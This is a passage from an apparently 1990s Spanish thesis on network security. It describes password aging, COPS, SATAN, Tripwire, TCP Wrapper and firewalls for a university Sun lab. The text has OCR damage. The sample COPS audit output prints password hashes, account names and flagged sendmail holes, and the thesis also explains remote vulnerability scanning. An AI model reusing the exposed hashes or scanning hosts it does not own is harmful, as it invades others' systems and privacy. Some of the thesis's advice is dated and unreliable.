1.- La importancia de mantener secreto su password. 2.- Que el password tiene un período de vencimiento de un mes. 3.- Que el password representa la identidad del usuario al que ha sido asignado.

Planes de contingencia.

Es necesario tener planes que permitan recuperarnos en forma inmediata de un ataque que ha logrado destruir información valiosa.

Se recomienda:

1.- Seguir el plan de recuperación propuesto en el capítulo IV, parte 4.9. 2.- Acudir al último respaldo que se haya hecho, es por ésto que se debe tener un excelente proceso de respaldo, además que es necesario determinar que:

1.- La información de carácter confidencial que es de clasificación :

No clasificada: Podrá ser recuperada con respaldo y podrá ser utilizada de nuevo sin ningún cambio. Confidencial: Podrá ser recuperada con respaldo y deberá ser modificada. Secreta: Deberá ser destruida en todos los medios de almacenamiento y reconstruida con ideas y

significados diferentes. Super secreta: Podrá ser utilizada sólo si es cambiada por completo.

11.- En caso que no se tenga respaldo, significa que la información que se almacena en el sistema no es relevante ni importante y no merece un estudio de seguridad.

80

Page 88: Estrategias para incrementar la seguridad de una red

Capítulo V

5.3.3 Elaboración de la propuesta de conexión.

Se deberá indicar las diferentes alternativas que plantea el proyecto, los serv1c1os que provee cada alternativa, al igual que los costos incurridos y los planes operativos (duración y actividad). En el caso específico del Laboratorio de Sun, la propuesta deberá sugerir la implantación de un firewall, con la configuración: "bastion host", que es la que se considera como segura para las necesidades y recursos de la organización. Un firewall ayuda a llevar a la implementación un conjunto de políticas de seguridad, las cuales definen accesos permitidos a la organización, la implementación de las políticas está en términos de la configuración de la red. Las principales configuraciones de un firewall es explicado en el capítulo 6 de este trabajo.

5.3.4 Determinación del plan global.

El plan global debe tomar en cuenta todos los aspectos de conexión, costos, riesgos, planes de contingencia programados, procesos de operación y capacitación incurridos. De acuerdo a nuestra metodología, todos éstos puntos ya han sido contemplados y ya se puede detenninar el "esqueleto" del plan global.

5.3.5 Formación del grupo mixto de trabajo.

Detenninar líder del proyecto. Detenninar el equipo de gente operativa. (Programadores, Ingenieros en Sistemas y Comunicaciones, Personal del área de Sistemas de Infonnación, Diseñadores en imagen corporativa, Administrador de la red). Personal de apoyo para proveer mecanismos de seguridad. (Staff). Detenninar gente de apoyo. ( Proveedores de infonnación).

5.3.6 Determinación de funciones para el grupo mixto de trabajo.

Líder del proyecto.- Es la persona encargada de coordinar todas la partes y responsable de asegurar que cada actividad se esté realizado conforme a lo planeado, sin permitir tiempos muertos.

Gente operativa.- Personas encargadas de realizar movimientos de equipo, con el fin de darle una nueva visión a la red, modificar topologías, recompilar programas, crear nuevos usuarios, infonnar a los usuarios del nuevo cambio sin incomodar a los mismos, etc.

Personal de apoyo para proveer mecanismos de seguridad. Esta es la gente que propone los mecanismos y servicios de seguridad a implementar, políticas de seguridad, y el peso que tienen éstos en confiabilidad, integridad y disponibilidad de los recursos.

Determinar gente de apoyo. ( Proveedores de información). Son las personas que conocen la configuración de la red, directivos que apoyan el proyecto y usuarios que permiten saber que recursos son vitales.

5.3. 7 Implementación de labores para el grupo mixto de trabajo.

Hasta ahora ya tenemos a la gente y es indispensable que el líder de proyecto se encargue de asignar las tareas a realizar por cada elemento y utilizar el plan realizado, para detenninar fechas de terminación de actividades y asegurar que todos los elementos involucrados se comprometan a cubrir sus aportaciones y entregar los resultados en las fechas establecidas por el líder de proyecto, de lo contrario el proyecto puede llegar a un estancamiento y aplazarse o en el pero de los casos puede llegar a fracasar.

81

Page 89: Estrategias para incrementar la seguridad de una red

Capítulo V

5.3.8 Pruebas pre-conexión (internas).

Este tipo de pruebas se deben realizar antes de la liberación de la conexión con el fin de revisar problemas que pudieran afectar en la implantación del proyecto. Este tipo de pruebas deben ser realizadas al término de cada etapa durante la duración del proyecto, es decir existe un número de pruebas preliminares igual a "n", donde n es el número de etapas del proyecto.

5.3.9 Pruebas de conexión (al exterior).

Las pruebas de conexión al exterior se deben realizar cuando el enlace ya se encuentre físicamente terminado, dichas pruebas pueden realizarse antes del término del proyecto ya que el proceso de enlace puede ser paralelo a otras actividades, esto es con el fin de que las pruebas finales se realicen ejecutando las aplicaciones a utilizar por la organización en forma rutinaria.

5.3.10 Finalización del proyecto.

El proyecto culmina con la implantación de la conexión, y el aseguramiento del funcionamiento del canal de comunicaciones en forma segura y práctica, debe entregarse con toda la documentación generada que pueda ser utilizada en un momento futuro por el cliente y es probable que la finalización del proyecto no se dé hasta que no finalice la capacitación solicitada por el cliente o se realice un documento de especificación de la forma en cómo se dará soporte y que está incluida en la propuesta inicial.

Como hemos visto hemos orientado ésta metodología en forma muy directa hacia lo que plantea la seguridad, y nos hemos detenido muy poco en otros puntos que no dejan de ser muy importantes en el proceso de conexión, pero que para fines prácticos de éste trabajo no han sido considerados, tal es el caso de las especificaciones técnicas del equipo de comunicaciones a utilizar, las alternativas de conexión, proveedores, etc.

Durante este capítulo, se ha hablado de mecanismos y servicios de seguridad, se sabe que son, pero aún no dan la cara, no es que se hayan ocultado para dejarlos como un tema extra, sino que es indispensable que el lector conozca la importancia que tienen éstos y comprenda cómo pueden ayudar al administrador de red, para lograr que su red sea una de la menos inseguras.

El capítulo VI, explica de manera detallada las herramientas y mecanismos de seguridad que existen en Internet y el mercado, para que el lector conozca y decida cuáles pueden ser de utilidad para su organización e incremente los niveles de seguridad utilizando éstas. Las herramientas de seguridad descritas en el capítulo siguiente y el análisis realizado en éste capítulo, nos permitirán comprender e interpretar de una manera más práctica y clara las políticas diseñadas para el Laboratorio de Cómputo Especializado Sun.

82

Page 90: Estrategias para incrementar la seguridad de una red

Capítulo VI

Capítulo VI.

Herramientas de Seguridad. En este capítulo se detallan las características de algunas de las herramientas de seguridad existentes en Internet y que son de dominio público y que pueden ser obtenidas gratuitamente por ftp.

Las herramientas que mencionamos a continuación ayudan al administrador de la red a tener un conocimiento más específico de los problemas de seguridad que se presenten en el site, realizar tareas de monitoreo en forma confiable y sencilla tomando medidas de prevención de acuerdo a los resultados obtenidos, y utilizar criptografía como un medio de administrar información confidencial en forma segura

Para una labor de monitoreo se recomienda al administrador que utilice las siguientes herramientas:

a) Rutinas que informen al usuario la expiración de su password. b) Computer Oracle and Password System (COPS). e) Security Administrator Tool for Analyzing Networks (SA TAN). d) Tripwire.

Para prevención de ataques se recomiendan las siguientes herramientas:

a) TCP _ Wrapper. b) Firewalls. e) Prety Good Privacy (PGP). d) Kerberos.

6.1 Herramientas de monitoreo. Rutinas que informen al usuario la expiración de su password.

Varias versiones de Unix ofrecen un servicio de caducidad de password. Este mecanismo informa al usuario el momento en que deberá cambiar su password, mediante la inserción de un valor en la tabla de usuarios ("/etc/passwd") después del password encriptado. Este valor define el período mínimo de tiempo que debe pasar antes de que el usuario pueda cambiar su password, y el período máximo de tiempo que puede transcurrir antes de que el password expire.

Para tener una idea más clara veamos la siguiente línea del tiempo que se muestra en la figura 6.1.

o Mínimo de semanas Máximo de semanas expira

No puede Podría Debe

[ Figura 6.1 ]: Caducidad del password y periodo de vida.

La información que necesitamos para detenninar el control de caducidad se guarda junto al password cifrado, como una serie de caracteres. Los caracteres de control se incluyen después del password, precedentes de una coma(,) y en general representan la siguiente infonnación:

• El número máximo de semanas en que el password es válido.

83

Page 91: Estrategias para incrementar la seguridad de una red

Capítulo VI

• El número mínimo de semanas que deben transcurrir antes que el usuario pueda cambiar su password otra vez.

• Cuándo se cambió el password por última vez .

La tabla 2.1, muestra los valores de caducidad del password, en relación a los caracteres de control.

Tabla 6.1: Valores de caducidad del password.

Caracter Valor en Caracter Valor en Caracter Valor en Caracter Valor en semanas semanas semanas semanas

o E 16 u 32 k 48 / 1 F 17 V 33 1 49 o 2 G 18 w 34 m 50 1 3 H 19 X 35 n 51 2 4 I 20 y 36 o 52 3 5 J 21 z 37 p 53 4 6 K 22 a 38 q 54 5 7 L 23 b 39 r 55 6 8 M 24 c 40 s 56 7 9 N 25 d 41 t 57 8 10 o 26 e 42 u 58 9 11 p 27 f 43 V 59 A 12 Q 28 g 44 w 60 B 13 R 29 h 45 X 61 e 14 s 30 46 y 62 D 15 T 31 j 47 z 63

Con ésta infonnación podrá comprender el significado del siguiente ejemplo:

rielo pez: 2elNss48eJ/GY,C2: 2 l 5: l 00:Ricardo lópez C:/home/riclopez:lbinlsh

En el ejemplo anterior. la duración del password se estableció con el valor de "C" para definir el número máximo de semanas (14) antes de que expire, mientras que "2" define el número mínimo de semanas (4) que deberán pasar antes de que el usuario pueda cambiar el password.Ver figura 6.2.

o No puede

4 Podría

14 Debe

expira

[ Figura 6.2: ejemplifica el periodo tú vida túl password )

Un caso especial se presenta cuando se le impide al usuario cambiar su password. Esta condición sucede al establecer el valor máx.imo para que sea menor al valor mínimo. En éste caso, se le informa al usuario que su password no puede ser cambiado, ejemplo:

Mínimo de semanas: l (/) Máximo de semanas: O(.)

riclopez: 2elNss48eJIGY,J: 215: l 00: Ricardo Lópe1. C:/home/riclope1.:lbinlsh

84

Page 92: Estrategias para incrementar la seguridad de una red

Capítulo VI

Al llegar al término de periodo de vida, la cuenta se inhabilita y cuando el usuario intenta registrarse con una cuenta inhabilitada, se le infonna que la cuenta no esta disponible y se le pide que vea al administrador del sistema. El mecanismo de caducidad del password no evita que el usuario cambie el password y más tarde lo vuelva a cambiar al original. Sólo algunas versiones del sistema Unix mantienen el rastro de las contraseñas que ha tenido el usuario. El proceso real para implementar la caducidad del password puede variar dependiendo de la versión. Para implantarla en su sistema, consulte la documentación de su sistema.

COPS (Computer Oracle and Password System).

COPS es una colección de programas diseñados para encontrar problemas de seguridad en un sistema UNIX. es también una gran herramienta para aquellos administradores que quieren conocer más de la seguridad en Unix.

COPS es una excelente herramienta de seguridad disponible en fonna gratuita por ftp anónimo y distribuido con utilerías que reportan problemas en las cuentas de usuarios. Uno de los principales propósitos de COPS es encontrar fallas, mas no repararlas.

A continuación se presenta una lista de los chequeos que hace COPS al sistema:

Revisa permisos de escritura/lectura para todo mundo en /dev/kmem. Revisa e infonna de archivos y directorios importantes con permisos mal configurados. Infonna de passwords fáciles de adivinar. Revisa e infonna identificadores de usuario duplicados, campos inválidos en /etc/passwd, etc. Revisa e infonna identificadores de grupo duplicados, campos inválidos en el archivo de grupos, etc. Revisa todos los directorios hogar ("home directories") de los usuarios y los archivos .cshrc, .login, .profile, and .rhosts para infonnar de problemas de seguridad. Revisa todos los archivos y programas ejecutados en /etc/re y cron. Revisa los permisos en los archivos /etc/re y cron. Revisa las rutas de root mal configuradas y sistemas de archivos exportados por NFS a todo el mundo. Incluye un sistema experto que revisa si alguna cuenta de usuario en el sistema (usualmente root) esta desprotegida, utilizando ciertas reglas. Revisa el archivo /etc/host.equiv y .rhosts en la cuenta root. Revisa el archivo .rhosts en las cuentas de usuarios. Revisa cambios en el estatus de los programas en el sistema, enfocándose al "set user id".

COPS es distribuido en dos versiones (ref. [2S]), la primera está escrita en lenguaje PERL y la segunda está construida con scripts de Boume Shell y programas en lenguaje C. Dentro de la estructura de COPS, viene incluido un "password cracker", herramienta del cual ya hemos platicado en el capítulo m de éste trabajo.

El módulo principal de COPS es un script que corre varios programas para revisar problemas de seguridad en el sistema. cuando un problema es detectado los resultados pueden ser enviados por mail o almacenados en un archivo llamado "año\_mes\_dia", dicho archivo será organizado en el directorio cuyo nombre es igual al nombre del host en el que fue ejecutado. Los programas que ejecuta el módulo principal son:

root.chk, dev.chk, group.chk, home.chk, rc.chk, passwd.chk, pass.chk, pass\_diff.chk, ftp.chk, cron.chk, misc.chk, is\_able.chk, crc.chk (optional), bug.chk y kuang.

Los scripts de COPS utilizan comandos estándar de Unix como recursos de búsqueda, concatenación de datos, evaluar expresiones, etc, por ejemplo:

find: busca en el árbol de directorios aquellos archivos con un modo de acceso específico, nombre, propietario, tipo, permisos, etc ...

8S

Page 93: Estrategias para incrementar la seguridad de una red

Capítulo VI

sed: Recibe un archivo de entrada y un patrón de datos y utiliza dichos datos para crear un archivo de salida; sed también fue aprovechado por el gusano de Internet. ( Ver Cap. 11 ). test: Evalúa una expresión con valor verdadero o falso. ypcac: Imprime valores obtenidos de la base de datos de NIS, p.ej: regresa infonnación de la tabla de usuarios. cmp: compara un par de archivos.

Para instalar COPS usted necesita: 1.- Un sistema Unix con compilador de C y PERL 4.10. 2.- Bajar la última versión disponible por fTP anónimo en: cert.sei.cmu.edu 3.- Si quiere actualizar la versión vieja ya instalada, lea el archivo "covertile" para una revisión general de los últimos cambios realizados a la herramienta. 4.- Descomprimir el archivo con comando car -xvf y uncompress 5.- Se recomienda leer el archivo "README. l ", "README.2.sh" o "README.2.pl", dependiendo de la versión que se quiera correr. 6.- Corra el script "reconfig" para tener las herramientas que usa COPS en la ruta de acceso. 7.- Compile COPS con una de las siguientes opciones:

make Construye COPS make ali Construye todo, incluyendo manuales. make install Instala COPS en el directorio adecuado.

8.- Ejecute COPS de la siguiente fonna: cops -v -s . -b cops.errors cops -v -s . -m user

9.- Espere a ver los resultados.

La sintaxis para el script principal de COPS y sus parámetros es la siguiente:

cops [-a architecture] [-b error_file] [-s cops_directory] [-m user] [-xvV]

donde:

-a architecture : architecture es el nombre del directorio que contiene los programas compilados para aquella arquitectura específica.

-b Error_file Error_file, es el nombre del archivo en el cual se enviarán todos los mensajes de error. -s cops_directory : cops_directory, es el directorio donde COPS está instalado. -m user user, es el nombre del usuario al cual se le enviará el reporte de los resultados. -x Imprime la versión de COPS. -v "verbose" a un archivo de salida. -V "verbose" a la pantalla.

COPS puede ser ejecutado sin pennisos de super usuario. A continuación se muestran algunos resultados obtenidos de haber corrido COPS, note que el encabezado de cada resultado tiene el nombre del programa que el módulo principal de COPS ha ejecutado:

•••• root.cbk •••• •••• dev.chk •••• •••• is_able.chk •••• Warning! /etc/hosts is_ World_ writable! •••• rc.cbk •••• •••• cron.chk •••• •••• group.chk •••• Warning! YGroup file, line 2. group has password: concamin:luPCwjJhOeNCs:5008: •••• home.cbk ••••

86

Page 94: Estrategias para incrementar la seguridad de una red

Warning! U ser al440100's home directory /home/sunlab/al0/um0/al440100 is mode 0777 ! Warning! U ser jgonzale's home directory /home/sunlab/lce/jgonzale is mode 0777 **"'* passwd.chk •••• Warning! Password file, line 7, user smtp has uid = O and is not root

smtp:x:0:0:Mail Daemon User:/: Warning! YPassword file, line 246, no password:

greyes: :9737:40: :/home/sunlab/dic/greyes:/bin/csh

**** kuang **** **** suid.chk **** **** bug.chk **** Warning! /usr/lib/sendmail could have a hole/bug! (CA-88:01) Warning! /usr/lib/sendmail could have a hole/bug! (CA-90:01) Warning! /bin/mail could have a hole/bug! (CA-91:0la)

Capítulo VI

Estos resultados fueron obtenidos el día: 25 de Abril de 1996 y fueron almacenados de la siguiente forma por COPS:

puenorico<secinter> cd puenorico lhome/sunlablproyectoslsecinterlcops_J04/puenorico puertorico<secinter> ls 1996_Apr_25 puenorico<secinter>

Como podemos ver, existen pequeñas entradas al sistema que han sido ofrecidas por las cuentas de los usuarios: "al440100" y "greyes", la primera cuyos pcnnisos no son los correctos y la segunda que ni password tiene. Como hemos visto, COPS nos ofrece un conjunto de programas de monitoreo que le pcnniten al administrador de red conocer problemas que puedan poner en riesgo la seguridad del sistema y que incluso éste pudo haber desconocido. Hemos de mencionar que COPS fue ejecutado con anterioridad y la cantidad de huecos encontrados era suficiente como para destruir toda la información que almacena el servidor, actualmente vemos que la configuración del servidor ha cambiado y se encuentra más segura. COPS es una herramienta completa, para aquellos administradores de red que buscan estar en los primeros lugares de las redes seguras.

Security Administrator Tool for Analyzing Networu (SATAN).

SATAN es una herramienta de dominio público distribuida por FTP anónimo (Ref (32)), para detenninar la seguridad de un host o red en Internet, prueba aquellos sistemas que se especifiquen para detenninar los servicios que están presentes y mal configurados o contienen vulnerabilidades que algún intruso pueda explotar. SATAN provee información limitada para corregir el problema, tiene la capacidad de probar en hosts individuales o redes enteras. El usuario de SATAN puede examinar y analizar la salida con un navegador de HTML, como Mosaic, Netscapc o Lynx. Todas la vulnerabilidades que reporta SATAN. son bien conocidas y han sido publicadas, incluso se pueden conseguir los parches en forma gratuita por FTP · anónimo.

Los autores Dan Farmer y Wietsc Venema, pusieron la herramienta disponible en forma gratuita en Internet el 5 de abril de 1995. Miles de sites tienen ahora instalado SATAN provocando que un gran número de copias sean distribuidas por todo el mundo.

87

Page 95: Estrategias para incrementar la seguridad de una red

Capítulo VI

Los problemas que puede encontrar SA TAN están descritos en la siguiente lista:

Sistemas de archivo ex.portados a hosts arbitrarios. Sistemas de archivos ex.portados a programas no privilegiados. Acceso a la tabla de usuarios en NIS. desde hosts arbitrarios. Versiones antiguas de sendmail (desde la 8.6.10 hacia atrás). Contra de acceso del servidor de X deshabilitado Archivos arbitrarios accesibles vía TFTP Accesos de shell remotos desde hosts arbitrarios. Directorio hogar ('"home directory"') de ftp anónimo con permisos de escritura.

Estos son problemas que son bien conocidos y han sido descritos en forma detallada en manuales de seguridad, enviados por mail a CERT, CIAC. NIST. etc.

SA TAN surge como una inquietud de los autores, que deseaban conocer un poco más de la seguridad y particularmente conocer información de otras redes, sus objetivos:

• Buscar y recabar infonnación. • Mostrar que tan inseguro es Internet. • Descubrir si el problema de seguridad tiene solución.

SATAN tiene un programa de adquisición de destinos que utiliza "fping" para determinar cuáles son los hosts que están activos, la información coleccionada es otorgada a una rutina que entra a un ciclo de retroalimentación. Cada host es examinado con el fin de determinar si ha sido analizado con anterioridad. en caso negativo. un conjunto de pruebas son ejecutadas contra éste (el conjunto de pruebas depende de la distancia y del nivel de prueba que haya sido seleccionada). Las pruebas emiten un reporte que incluye el nombre del host. la prueba ejecutada y los resultados encontrados durante la evaluación, estos datos son almacenados en un archivo para su análisis posterior. SA TAN debe ser ejecutado con la cuenta de super usuario (root).

La interfaz gráfica del usuario permite ligar la información obtenida para que el usuario pueda leerla y digerir ésta con facilidad.

La diferencia de ésta herramienta con COPS, es que COPS es una herramienta de auditoria de seguridad para un host local basado en UNIX, esto significa que COPS debe ejecutarse en la máquina que se desee examinar. SA TAN es una herramienta de auditoría de seguridad remota, lo cual significa que puede reportar los problemas de cualquier host conectado a Internet y no necesita tener una cuenta o privilegios en aquel host remoto.

SA TAN puede resultar peligroso en cualquiera de los dos casos siguientes: primero, cuando es utilizado por crackers, intrusos potenciales o simplemente por gente que ejecuta el programa obteniendo direcciones en forma aleatoria. La segunda es cuando administradores de sistemas ejecutan la herramienta en forma intencional contra hosts vecinos. La forma más segura de ejecutar SATAN, es detrás de un firewaJl, ya que SATAN sólo realiza pruebas en sistemas con protocolo IP, y si IP_FORWARDING está desactivado, SATAN no puede pasar.

Para instalar SATAN usted necesita:

Para todas las utilerías complementarias son necesarios 20 MB de espacio en disco aproximadamente. Es necesario tener instalado algún navegador de Internet como Netscape o Mosaic. Un sistema Unix con compilador de C y PERL S.

88

Page 96: Estrategias para incrementar la seguridad de una red

Capítulo VI

La cantidad de memoria requerida depende del número de hosts a examinar y de la máquina que usemos, por ejemplo:

14 MB de RAM es recomendado, para examinar 1500 hosts en una SPARC 4/75 corriendo SunOS 4.1.3. 35 MB de RAM es recomendado, para examinar 4700 hosts en una Indigo 2.

Desafortunadamente SA TAN no es lo portable que quisiéramos. pero puede ser ejecutado en los sistemas Unix. Actualmente SA TAN puede ser ejecutado en los siguientes sistemas operativos: SunOS 4.l.3_Ul SunOS 5.3 Irix 5.3

Ha sido probado con las siguientes máquinas: SPARCstation 4/75 SPARCstation 5 Indigo 2 El núcleo de SA TAN está compuesto por las siguientes partes:

"Magic Cookie generator"

Cada vez que SAT AN es ejecutado en modo interactivo, ésta rutina genera un string aleatorio que el navegador de HTML debe enviar al servidor de http como parte de todos los comandos.

"Policy engine"

Dadas las especificaciones en el archivo de configuración de SATAN, esta rutina determina que host deberá ser examinado y que tipo de nivel será el apropiado para dicha prueba.

"Target Acquisition"

Dada una lista de hosts, esta rutina genera una lista de pruebas para ser ejecutadas en aquellos hosts. La lista de pruebas sirve como datos de entrada para la rutina "data acquisition".

"Data Acquisition"

Dada una lista de pruebas, esta rutina ejecuta la colección de herramientas y genera nuevos valores, que servirán de entrada para la rutina "inference engine".

"Inference engine"

Dada una nueva lista de valores, esta rutina genera nuevos hosts destino, nuevas pruebas y nuevos valores. la lista nueva de hosts destino sirven como entrada para la rutina de "target acquisition"; nuevas pruebas serán manejadas por la rutina "data acquisition" y nuevos valores serán procesados por la rutina "inference engine".

"Report and Analysis"

Este rutina toma los datos coleccionados y construye un reporte en html que el usuario puede explorar con el navegador.

SA TAN es una poderosa herramienta que nos permite obtener infonnación relevante, no sólo de nuestra red sino de todas aquellas que están conectadas a Internet. es imperativo ejecutar éste tipo de aplicaciones con mucho cuidado, ya que de no ser así estamos violando la confidencialidad de la infonnación que no es de nuestra propiedad.

89

Page 97: Estrategias para incrementar la seguridad de una red

Capítulo VI

Tripwire.

Considere por un momento el problema de detectar un cambio u un conjunto de cambios no esperados en el sistema. Un administrador de sistemas bien preparado quizá cuente con checklist, copias de comparación, registros de checksum o un largo historial de cintas de respaldo para éste tipo de contingencias. Sin embargo todos sabemos que éstos métodos son largos, tediosos y caros de mantener.

De momento, una acción usual que es tomada por un administrador de sistemas es simplemente generar un checklist para los sistemas de archivos, quizá ejecutando "find" o "Is". Esta lista es entonces cuidadosamente almacenada en dispositivos auxiliares (cintas). Si se ejecuta el comando ''diff' para comparar la lista original con una lista generada después, el adminisrador puede detectar cambios en los archivos si la fecha u hora, propietario o tamaños son diferentes. El administrador ambicioso podría hacer más robusto éste esquema almacenando el checksum generado por cada archivo ejecutando sumo cksum en el checklist.

Quizá una herramienta automatizada de revisión general (checklist), como la descrita arriba nos ayude a detectar algunos cambios no autorizados en el sistema; pero quizá no. Es posible encontrarse con varios problemas usando checklists. Primero, la lista de archivos y valores asociados sea un trabajo tedioso de mantener y segundo porque el uso de estampillas de tiempo, checksums y los tamaños de archivo no necesariamente aseguran la integridad de cada archivo. Después de todo una vez que el intruso ha logrado obtener privilegios de root, que lo puede detener para alterar las estampillas de tiempo o la base de datos donde se almacenan los checksums?. Más aún, los cambios a un archivo puedan ser hechos sin cambiar su longitud.

Un checklist exitoso requiere de un alto nivel de automatización tanto para generar la lista de salida como la lista de entrada. Si el sistema es difícil de usar, quizá no sea usado más o peor aún, puede ser usado incorrectamente. El esquema de autentificación debe incluir un camino simple para describir los sistemas de archivos que necesitan ser monitoreados. En forma adicional, en los casos donde los archivos pueden ser cambiados o borrados debe ser fácil actualizar el checklist de la base de datos.

Es probable que archivo del tipo: /etc/motd cambien semanalmente, quizá diariamente, por lo que no debería ser necesario regenerar la base de datos completa por cada uno de éstos cambios registrados ya que se tendrían muchos procesos de regeneración ejecutándose varias veces.

Un programa de revisión debe generar reportes que sean fáciles de observar y entender, un reporte generado con trescientas líneas para que el administrador las analice diariamente podría resultar contraproducente. Por lo que el programa debe permitir ciertas excepciones que permitan cambios en los archivos sin que sean reportados, como es el caso de archivos bitácora.

Y si suponemos que el administrador del sistema quiere ejecutar el programa de revisión en cada host de la red, el programa de revisión debe permitir el uso múltiple de archivos de configuración, tanto como sea posible. Por ejemplo si existen veinte hosts idénticos en el site, entonces debe estar disponible un archivo de configuración común.

Triwire nos provee de todas las necesidades mencionadas arriba de una fonna sencilla y eficiente, es una herramineta útil para aquellos administradores que se preocupan por la integridad de la información en sus sistemas.

Tripwire es una herramienta de revisión general escrito en lenguaje C, para una amplia variedad de sistemas Unix, disponible en forma gratuita por ftp anónimo (ref[56]).

Los requerimientos necesarios para diseñar un sistema de revisión de integridad completo, provoca pensar en programar éste con PERL, y solucionar el problema con un programa pequeño. Sin embargo las funciones

90

Page 98: Estrategias para incrementar la seguridad de una red

Capítulo VI

para finna digital están escritas en c y un programa en PERL podría ser menos óptimo, más aún para lograr una máxima portabilidad era más sensato escribir este programa en C.

El programa Tripwire utiliza un archivo de configuración simple en código ASCII para nombrar los directorios Y archivos a monitorear. Cada entrada especifica alguna combinación de atributos de archivos para su búsqueda incluyendo un conjunto de funciones para finna digital.

En un host SparcStation sobre SunOs 4.1, las doscientas líneas de configuración de Tripwire describe cerca de 1150 sistemas de archivos y directorios para su monitoreo. Para la configuración y compilación de Tripwire en éste sistema toma cerca de diez minutos. Enviando a Tripwire a un proceso iterativo para reflejar un sisema de archivos en específico, puede tomar hasta varias horas para completarse en casos específicos.

Una vez que la base de datos es generada, Tripwire está listo para ejecutarse como un programa de revisión de integridad para el sistema.

Tripwire estuvo bajo un riguroso periodo de prueba de seis semanas como producto beta, en el cual participaron cerca de 125 usuarios en todo el mundo. Ésto no sólo ayudó a que se encontraran fallas en el producto, sino que también contribuyeron a su portabilidad y eficiencia.

El programa llamado "integrity checker" de Tripwire, puede ser ejecutado regularmente desde cron para habilitar la detección de cambios en los archivos en fonna periódica.

7 .2 Herramientas de Prevención:

TCP Wrapper.

Es un programa que puede ser obtenido en fonna gratuita por FTP anónimo (Ref.[53]), para los sistemas Unix que desempeña las siguientes funciones:

Las solicitudes para ingresar al host remoto son son validadas por el archivo /etc/inetd.conf Proporciona un mecanismo para adecuar el acceso a los servicios.

Ambas capacidades pueden utilizarse para dar una sencilla solución al control de acceso, cuando el archivo /etc/inetd.conf se entere de que existe una petición de algún servicio remoto, ejecuta el programa que esté habilitado para dicha petición en su contenido.

El archivo /etc/inetd.conf, tiene la siguiente estructura:

La sintaxis para los servicios de Internet basados en "sockets" es la siguiente:

<nombre del servicio> <tipo de socket> <protocolo> <banderas> <usuario> <ruta del programa servidoD <parámetros>

ftp stream tcp nowait root /usr/sbi n/i n .ftpd in.ftpd telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd shell stream tcp nowait root /usr/sbin/in.rshd in.rshd login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind exec stream tcp nowait root /usr/sbin/in.rexccd in.rexccd comsat dgram udp wait root /usr/sbin/in.comsat in.comsat talk dgram udp wait root /usr/sbin/in.talkd in.talkd

91

Page 99: Estrategias para incrementar la seguridad de una red

Capítulo VI

De modo que si existe alguna petición remota de telnet, el programa que se ejecuta es in .telnetd para atender dicha petición.

El funcionamiento de TCP Wrapper está basado en el gestionamiento de los servicios a proveer a los hosts remotos utilizando listas de hosts en los archivos /etc/hosts.allow y /etc/hosts.deny para los hosts confiables y no confiables respectivamente, los servicios que pueden ser controlados con TCP Wrapper son: telnet, ftp, tftp, rlogin. rexec, rsh, finger, etc.,

Para instalar TCP Wrapper. descomprima el archivo que ha obtenido por ftp anónimo. éste va a generar un directorio llamado tcpd, construya los elementos binarios del programa ejecutando el Makefile:

canada#make

Al momento de la construcción de binarios, TCP Wrapper genera un programa demonio (tcpd), que es quién se va a encargar de vigilar las peticiones de servicios remotos.

Colcx:¡ue el archivo tcpd en el directorio /usr/locaVbin, edite el archivo /etc/inetd.conf y escoja los servicios que necesite dejar bajo control de TCP Wrapper (tcpd). Suponga que quiere controlar las sesiones de telnet, entonces la línea asignada para el servicio telnet se verá de la siguiente forma:

telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd

Como puede observar se ha reemplazado el sexto campo por el programa /usr/local/bin/tcpd.

El siguiente paso es reiniciar los servicios en /etc/inetd.conf, para hacer esto ejecute los siguientes comandos:

canada# ps -aux I grep inetd /* para verificar el número de proceso de inetd root 82 O.O O.O 652 124 ?? Is 3: 17 A.M. 0:00.27 inetd /* proceso 82 canada# kili -HUP 82 /* Reinicio inetd y servicios en el sistema.

Una vez hecho esto, cuando el sistema reciba una petición de telnet, se iniciará el programa tcpd en lugar del programa normal de telnet, tcpd conecta la solicitud y verifica la información en el control de acceso en los archivos /etc/hosts.allow y /etc/hosts.deny

El archivo /etc/hosts.allow contiene una lista de hosts que tienen permitido el acceso al servicio. El · archivo /etc/hosts.deny contiene una lista de hosts que tienen denegado el acceso al servicio. Si no existen estos archivos, tcpd registra la solicitud y permite que todos tengan acceso al servicio. El programa tcpd verifica primero el archivo de hosts con acceso permitido y después el archivo de hosts con acceso no permitido.

El formato para cada archivo de control de acceso es el siguiente: lista-servicios: lista-host [:shell-cmd ]

donde: lista-servicios es una lista separada por comas que indica los servicios definidos en el archivo

/etc/services. lista-host: es una lista separada por comas, que proporciona los nombres de hosts, direcciones IP, nombres de red, nombres de dominio, o grupos de red NIS.

Ejemplos:

Ej. 1.- Tome la siguiente configuración para el archivo /etc/hosts.allow

fingerd, telnetd: 148.241.32.21, 148.232

92

Page 100: Estrategias para incrementar la seguridad de una red

Capítulo VI

Esto significa que el host 148.241.32.21 y todos los que pertenecen a la red 148.232.0.0 de clase B, tienen acceso a los servicios telent y finger.

Ej. 2.- Tome la siguiente configuración para el archivo /etc/hosts.deny

fingerd, telnetd: .hacker .org

Esto significa que todos los hosts en el dominio hacker.org tienen acceso denegado a los servicios telnet y finger.

Ej. 3.- Se utilizan las palabras clave: ALL y LOCAL. para igualar servicios de manera abierta o local. Observe la siguiente configuración para el archivo inetd.conf.

ALL: LOCAL, ,KINETICS.COM

Esto significa que todos los hosts localizados en la red conectados de manera local que están dentro del dominio KINETICS.COM tienen acceso a todos los servicios.

TCP Wrapper es un buen mecanismo para implantar el control de acceso en la red, pero no debemos olvidar que un intruso que ha tenido acceso al archivo/etc/hosts.allow podrá hacer uso de éste para declarar cualquier otra máquina como confiable y poder obtener los servicios que el sistema otorga a dicha máquina.

Es importante tener en claro que muy a pesar de ésto es posible implementar ésta herramienta que aunque es bien cierto, puede ser burlada. disminuye el riesgo de accesos no autorizados.

Firewalls:

Actualmente se ha hablado mucho de la tecnología "firewall", y algunas empresas ya comienzan a comercializar productos que utilizan ésta filosofía., antes de empezar habremos de conocer qué es y cómo funciona un firewall, y porqué son importantes los firewalls en la protección de los sistemas.

Para describir lo que un firewall es capaz de hacer, es mejor describir que es lo que firewall no es capaz de hacer; un firewall no es simplemente un ruteador, un host o una colección de sistemas que proveen seguridad a una red. Un firewall ayuda a llevar a la implementación un conjunto de políticas de seguridad que definen accesos permitidos a la organización, la implementación de las políticas está en términos de la configuración de la red.

